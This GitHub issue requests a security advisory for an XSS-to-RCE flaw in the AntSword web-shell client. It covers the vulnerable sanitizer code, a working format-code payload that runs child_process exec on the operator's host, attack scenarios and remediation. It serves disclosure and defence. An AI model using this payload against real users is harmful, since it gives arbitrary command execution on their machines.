Skip to content

[Advisory Request] AntSword (中国蚁剑) v2.1.15: incomplete noxss() sanitization leads to 1-click RCE via jquery.terminal format code injection #7498

@s2cr3t

Description

@s2cr3t

Summary

AntSword (中国蚁剑), an Electron-based web-shell management client, through v2.1.15 contains an incomplete input sanitization vulnerability in its noxss() function. The function escapes & ' > < " but does not escape [, which is a format-code delimiter used by jquery.terminal v1.1.1. Because the main Electron window is created with nodeIntegration: true, a malicious or honeypot server that the operator connects to can return output containing jquery.terminal format codes, which after noxss() are rendered as <a href="javascript:..."> links. A single click on the link executes arbitrary JavaScript in a renderer with full Node.js privileges, resulting in arbitrary command execution on the AntSword operator's host.

Repository / Project

  • Repository: https://github.com/AntSwordProject/antSword
  • Ecosystem: none (Electron desktop app, not published to npm). Please treat as a general "reviewed" advisory if possible.
  • Affected versions: <= 2.1.15 (current release at the time of report)
  • Patched versions: none yet

CVE

A CVE ID has been requested from MITRE on 2026-04-24 and is pending assignment. The GHSA should be aliased to the CVE once it is published.

Severity

CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H — Base score 8.8 (High)

CWE

  • Primary: CWE-79 (Improper Neutralization of Input During Web Page Generation — 'Cross-site Scripting')
  • Chained: CWE-94 (Improper Control of Generation of Code — 'Code Injection')
  • Architectural root cause: CWE-1188 (Insecure Default Initialization of a Resource — Electron nodeIntegration: true)

Details

Data flow

remote server response
  → antSword.noxss() sanitization  // escapes & ' > < "  ; [ ] ! ; : ` pass through
  → term.echo(output)              // jquery.terminal v1.1.1 receives the string
  → jquery.terminal format-code parser
  → <a target="_blank" href="javascript:..."> rendered in the virtual terminal
  → user clicks
  → Electron renderer process (nodeIntegration: true) executes JS
  → require('child_process').exec(...) available
  → arbitrary command execution on the AntSword client host

Vulnerable code

  • source/app.entry.js lines 28–38 (definition of noxss()):

    noxss: (html = '', wrap = true) => {
        let _html = String(html)
          .replace(/&/g, "&")
          .replace(/'/g, "'")
          .replace(/>/g, ">")
          .replace(/</g, "<")
          .replace(/"/g, """);
        // note: '[' is NOT escaped
        if (wrap) { _html = _html.replace(/\n/g, '<br/>'); }
        return _html;
    }
  • source/modules/terminal/index.js line 380:

    term.echo(antSword.noxss(output, false));
  • source/modules/terminal/index.js lines 179–183 (banner uses noxss on server-supplied infoSystem).

  • app.js line 58: nodeIntegration: true.

Proof of concept

Malicious server returns, in any command output or config file read via the terminal, the following payload:

[[!;;;;javascript:void(require(`child_process`).exec(`calc.exe`))]{http://localhost/phpmyadmin/}]

After noxss() processing, jquery.terminal renders this as:

<a target="_blank" href="javascript:void(require(`child_process`).exec(`calc.exe`))">http://localhost/phpmyadmin/</a>

Clicking the link launches calc.exe on the operator's host.

Attack scenarios

  • Honeypot / trap web-shell: defenders deploy a honeypot whose PHP shell wraps command output to replace URLs with the format-code payload. When an AntSword operator views a config file (.env.bak, database.conf, etc.) with type/cat, they see what appears to be a legitimate URL. Clicking it — which is common tradecraft for further reconnaissance — yields RCE on the operator's machine.
  • Compromised upstream: if an operator connects to a shell that was previously pwned by another actor, the other actor can likewise trap the operator.

Remediation

Minimal patch (defense-in-depth recommended in all three layers):

  1. Extend noxss() to escape [:

    .replace(/\[/g, "[")
  2. Restrict jquery.terminal to http/https protocol on rendered <a href> (via anyLinks: false and/or a formatters allowlist).

  3. Harden Electron: set nodeIntegration: false in app.js and expose required Node APIs via contextBridge. This eliminates the XSS→RCE escalation path entirely.

References

Reporter

  • Handle: s2cr3t
  • Disclosure date: 2026-04-24 (public GitHub issue)
  • Coordination: CVE requested from MITRE on 2026-04-24; vendor not yet acknowledged

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions